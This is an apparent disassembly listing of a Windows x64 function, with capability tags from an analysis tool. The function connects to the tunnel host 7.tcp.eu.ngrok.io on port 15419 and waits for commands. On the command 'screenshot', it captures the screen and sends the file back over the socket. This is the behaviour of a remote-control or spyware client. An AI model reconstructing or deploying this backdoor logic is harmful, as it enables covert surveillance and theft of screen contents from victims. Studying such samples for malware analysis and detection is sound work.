Function at 0x140001980
Capabilities:
Connect socket
Initialize winsock library
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xa20]
sub rsp, 0xb20
mov rax, qword [0x140009040]
xor rax, rsp
mov qword [rbp + 0xa10], rax
mov ecx, 0x202
lea rdx, [rbp + 0x70]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x1400019f8
lea rdx, str.Failed_to_initialize_Winsock.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140003120
lea rdx, [0x1400032f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, 1
jmp 0x140001ed5
xor r8d, r8d
lea edx, [r8 + 1]
mov ebx, 2
mov ecx, ebx
call qword [sym.imp.WS2_32.dll_socket]
mov r15, rax
cmp rax, 0xffffffffffffffff
jne 0x140001a46
lea rdx, str.Could_not_create_socket.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140003120
lea rdx, [0x1400032f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call qword [sym.imp.WS2_32.dll_WSACleanup]
lea eax, [rbx - 1]
jmp 0x140001ed5
lea rcx, str.7.tcp.eu.ngrok.io
call qword [sym.imp.WS2_32.dll_gethostbyname]
test rax, rax
jne 0x140001a94
lea rdx, str.Failed_to_resolve_hostname.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140003120
lea rdx, [0x1400032f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, r15
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
jmp 0x140001ed5
mov word [rbp + 0x60], bx
mov rax, qword [rax + 0x18]
mov rcx, qword [rax]
mov eax, dword [rcx]
mov dword [rbp + 0x64], eax
mov ecx, 0x3c3b
call qword [sym.imp.WS2_32.dll_htons]
mov word [rbp + 0x62], ax
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rbp + 0x60]
mov rcx, r15
call qword [sym.imp.WS2_32.dll_connect]
test eax, eax
jns 0x140001af6
lea rdx, str.Connection_failed._Error_Code:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140003120
mov rbx, rax
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
jmp 0x140001a6b
lea rdx, str.Connected_to_server.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003120
lea rdx, [0x1400032f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor r9d, r9d
mov r8d, 0x400
lea rdx, [rbp + 0x210]
mov rcx, r15
call qword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x140001ea1
xor r12d, r12d
lea r13, [0x14000576c]
mov r9d, socket
movabs r8, 0x8000000000000000
movabs rdx, 0x7fffffffffffffff
test eax, eax
je 0x140001ea1
movsxd rcx, eax
cmp rcx, 0x400
jae 0x140001f47
mov byte [rbp + rcx + 0x210], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x40], xmm0
mov qword [rbp + 0x50], r12
mov qword [rbp + 0x58], r12
lea rax, [rbp + 0x210]
mov rbx, 0xffffffffffffffff
nop dword [rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x140001ba0
cmp rbx, rdx
ja 0x140001f41
mov qword [rbp + 0x58], send
cmp rbx, 0xf
ja 0x140001be1
mov qword [rbp + 0x50], rbx
mov r8, rbx
lea rdx, [rbp + 0x210]
lea rcx, [rbp + 0x40]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbp + rbx + 0x40], 0
jmp 0x140001c6b
mov rdi, rbx
or rdi, 0xf
cmp rdi, rdx
jbe 0x140001bf6
mov rdi, rdx
lea rax, [r8 + 0x27]
jmp 0x140001c18
cmp rdi, 0x16
cmovb rdi, r9
lea rcx, [rdi + 1]
cmp rcx, 0x1000
jb 0x140001c37
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140001f4d
mov rcx, rax
call fcn.140003aac
test rax, rax
je 0x140001f3a
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x140001c49
test rcx, rcx
je 0x140001c46
call fcn.140003aac
mov rsi, rax
jmp 0x140001c49
mov rsi, r12
mov qword [rbp + 0x40], rsi
mov qword [rbp + 0x50], rbx
mov qword [rbp + 0x58], rdi
mov r8, rbx
lea rdx, [rbp + 0x210]
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsi + rbx], 0
lea rcx, [rbp + 0x40]
mov r14, qword [rbp + 0x58]
cmp r14, 0xf
seta sil
mov rdi, qword [rbp + 0x40]
cmova rcx, rdi
mov rbx, qword [rbp + 0x50]
cmp rbx, 0xa
jne 0x140001dc2
mov r8, rbx
lea rdx, str.screenshot
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140001dc2
call fcn.140001640
test al, al
je 0x140001dad
xor edx, edx
mov r8d, 0x110
lea rcx, [rsp + 0x30]
call sub.VCRUNTIME140.dll_memset
lea rcx, [rsp + 0x30]
call fcn.140002bc0
nop
cmp qword [rbp - 0x40], 0
jne 0x140001d01
lea rdx, str.Failed_to_open_screenshot_file.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140003120
lea rdx, [0x1400032f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140001d9e
mov rax, qword [rsp + 0x30]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x30]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::eof_void_const___ptr64]
test al, al
jne 0x140001d70
nop dword [rax]
mov r8d, 0x400
lea rdx, [rbp + 0x610]
lea rcx, [rsp + 0x30]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::read_char____ptr64__long_long___int64_____ptr64]
mov r8, qword [rsp + 0x38]
test r8d, r8d
jle 0x140001d55
xor r9d, r9d
lea rdx, [rbp + 0x610]
mov rcx, r15
call qword [sym.imp.WS2_32.dll_send]
mov rax, qword [rsp + 0x30]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x30]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::eof_void_const___ptr64]
test al, al
je 0x140001d20
lea rcx, [rsp + 0x40]
call fcn.140003030
test rax, rax
jne 0x140001d9e
mov rax, qword [rsp + 0x30]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x30]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
lea rcx, [rsp + 0x30]
call fcn.1400018c0
jmp 0x140001e44
lea rdx, str.Failed_to_take_screenshot.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140003120
jmp 0x140001e33
lea rdx, [rbp + 0x40]
test sil, sil
cmovne rdx, rdi
cmp rbx, 4
jne 0x140001e06
mov rcx, r12
nop word [rax + rax]
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [rcx + r13 - 1]
jne 0x140001df9
cmp rcx, 4
jne 0x140001de0
mov eax, r12d
jmp 0x140001dfe
sbb eax, eax
or eax, 1
test eax, eax
je 0x140001f05
lea rdx, str.Command_from_server:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003120
lea rdx, [rbp + 0x40]
cmp qword [rbp + 0x58], 0xf
cmova rdx, qword [rbp + 0x40]
mov r8, qword [rbp + 0x50]
mov rcx, rax
call fcn.1400035d0
lea rdx, [0x1400032f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rbp + 0x58]
cmp rdx, 0xf
jbe 0x140001e7f
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001e7a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001f3a
call fcn.140003af0
xor r9d, r9d
mov r8d, 0x400
lea rdx, [rbp + 0x210]
mov rcx, r15
call qword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
jne 0x140001b45
lea rdx, str.Recv_failed_or_connection_closed.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140003120
lea rdx, [0x1400032f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, r15
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
mov rcx, qword [rbp + 0xa10]
xor rcx, rsp
call fcn.1400037f0
lea r11, [rsp + 0xb20]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
cmp r14, 0xf
jbe 0x140001ec4
lea rdx, [r14 + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x140001f30
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001f3a
mov rcx, rdi
call fcn.140003af0
jmp 0x140001ec4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400011b0
int3
call fcn.140003918
int3
call fcn.140001110
int3